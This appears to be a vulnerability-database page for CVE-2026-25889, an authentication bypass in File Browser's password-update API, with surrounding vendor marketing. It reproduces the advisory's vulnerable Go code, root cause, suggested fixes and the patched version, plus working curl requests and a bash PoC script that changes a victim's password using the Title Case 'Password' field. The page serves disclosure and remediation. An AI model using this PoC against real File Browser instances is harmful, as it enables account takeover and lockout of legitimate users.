CVE-2026-25889 is a medium-severity (CVSS 5.4) CWE-178 vulnerability in github.com/filebrowser/filebrowser/v2. A fix is available for github.com/filebrowser/filebrowser/v2 — see the affected versions and patch details below.
File Browser has an Authentication Bypass in User Password Update
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-25889.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-25889 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/filebrowser/filebrowser/v2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Security Advisory: Authentication Bypass in User Password Update
Summary
A case-sensitivity flaw in the password validation logic allows any authenticated user to change their password (or an admin to change any user's password) without providing the current password. By using Title Case field name "Password" instead of lowercase "password" in the API request, the current_password verification is completely bypassed. This enables account takeover if an attacker obtains a valid JWT token through XSS, session hijacking, or other means.
CVSS Score: 7.5 (High)
CWE: CWE-178 (Improper Handling of Case Sensitivity)
Details
The vulnerability exists in http/users.go in the userPutHandler function (lines 181-200).
Vulnerable Code
// http/users.go:181-200
if d.settings.AuthMethod == auth.MethodJSONAuth {
var sensibleFields = map[string]struct{}{
"all": {},
"username": {},
"password": {}, // lowercase
"scope": {},
"lockPassword": {},
"commands": {},
"perm": {},
}
for _, field := range req.Which {
if _, ok := sensibleFields[field]; ok { // Case-sensitive lookup
if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
}
break
}
}
}
Root Cause
- The
sensibleFieldsmap uses lowercase keys (e.g.,"password") - The lookup
sensibleFields[field]is case-sensitive - When
req.Whichcontains"Password"(Title Case), the lookup returnsfalse - The password verification block is skipped entirely
- Later in the code (line 229), field names are converted to Title Case for processing, so
"Password"is a valid field name
Attack Flow
1. Attacker obtains victim's JWT token (via XSS, log leakage, etc.)
2. Attacker sends PUT /api/users/{id} with:
- which: ["Password"] (Title Case - bypasses validation)
- data.password: "attacker_password"
- NO current_password field required
3. Password is changed without verification
4. Victim is locked out, attacker has full access
PoC
Prerequisites
- A valid JWT token for any user account
- Target Filebrowser instance using JSON authentication (default)
Reproduction Steps
Step 1: Obtain a valid JWT token
TOKEN=$(curl -s -X POST "http://target:8080/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"victim","password":"victim_password"}')
Step 2: Attempt normal password change (should fail)
curl -s -X PUT "http://target:8080/api/users/1" \
-H "X-Auth: $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"what": "user",
"which": ["password"],
"data": {"id": 1, "password": "NewPassword123456"}
}'
# Response: 400 Bad Request (the current password is incorrect)
Step 3: Bypass with Title Case (succeeds without current_password)
curl -s -X PUT "http://target:8080/api/users/1" \
-H "X-Auth: $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"what": "user",
"which": ["Password"],
"data": {"id": 1, "password": "HackedPassword123"}
}'
# Response: 200 OK
Step 4: Verify account takeover
# Original password no longer works
curl -s -X POST "http://target:8080/api/login" \
-d '{"username":"victim","password":"victim_password"}'
# Response: 403 Forbidden
# New password works
curl -s -X POST "http://target:8080/api/login" \
-d '{"username":"victim","password":"HackedPassword123"}'
# Response: Valid JWT token
Automated PoC Script
#!/bin/bash
# Usage: ./poc.sh <target> <username> <current_password> <new_password>
TARGET="$1"
USERNAME="$2"
CURRENT_PASS="$3"
NEW_PASS="$4"
# Login
TOKEN=$(curl -s -X POST "$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$USERNAME\",\"password\":\"$CURRENT_PASS\"}")
# Get user ID from token
USER_ID=$(echo "$TOKEN" | python3 -c "
import sys,json,base64
parts=input().split('.')
payload=json.loads(base64.b64decode(parts[1]+'=='))
print(payload['user']['id'])
")
# Exploit: Change password without current_password
curl -s -X PUT "$TARGET/api/users/$USER_ID" \
-H "X-Auth: $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"what\": \"user\",
\"which\": [\"Password\"],
\"data\": {\"id\": $USER_ID, \"password\": \"$NEW_PASS\"}
}"
echo "Password changed to: $NEW_PASS"
Impact
Who is Impacted
- All Filebrowser users using JSON authentication method (default configuration)
- Any user whose JWT token can be obtained by an attacker
- Particularly high-value targets: administrator accounts
Attack Scenarios
| Scenario | Impact |
|---|---|
| XSS + Token Theft | Complete account takeover |
| JWT in Server Logs | Mass account compromise |
| Shared Computer | Session hijacking |
| Malicious Browser Extension | Credential theft |
Security Impact
| Category | Severity |
|---|---|
| Confidentiality | High - Attacker gains full account access |
| Integrity | High - Attacker can modify all user data |
| Availability | High - Legitimate user locked out |
Scope
- The vulnerability affects password modification only
- Other sensitive fields (
Username,Scope,Perm, etc.) have additional protection viaNonModifiableFieldsForNonAdmincheck - However, for administrators, all fields can be modified using this bypass technique
Suggested Fix
Option 1: Case-insensitive field matching (Recommended)
// Convert field to lowercase before checking
for _, field := range req.Which {
if _, ok := sensibleFields[strings.ToLower(field)]; ok {
if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
}
break
}
}
Option 2: Use Title Case in sensibleFields
var sensibleFields = map[string]struct{}{
"All": {},
"Username": {},
"Password": {}, // Title Case to match post-transformation
"Scope": {},
"LockPassword": {},
"Commands": {},
"Perm": {},
}
// Check AFTER field name transformation
for k, v := range req.Which {
v = cases.Title(language.English, cases.NoLower).String(v)
req.Which[k] = v
// Now check with Title Case
if _, ok := sensibleFields[v]; ok {
if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
}
break
}
}
References
- Affected File:
http/users.go - Affected Lines: 181-200
- Related Code:
NonModifiableFieldsForNonAdmin(line 17)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/filebrowser/filebrowser/v2 | all versions | 2.57.1go get github.com/filebrowser/filebrowser/v2@v2.57.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/filebrowser/filebrowser/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/filebrowser/filebrowser/v2 to 2.57.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-25889 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-25889 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-25889. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-25889 in your dependencies?
O3 Security finds CVE-2026-25889 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.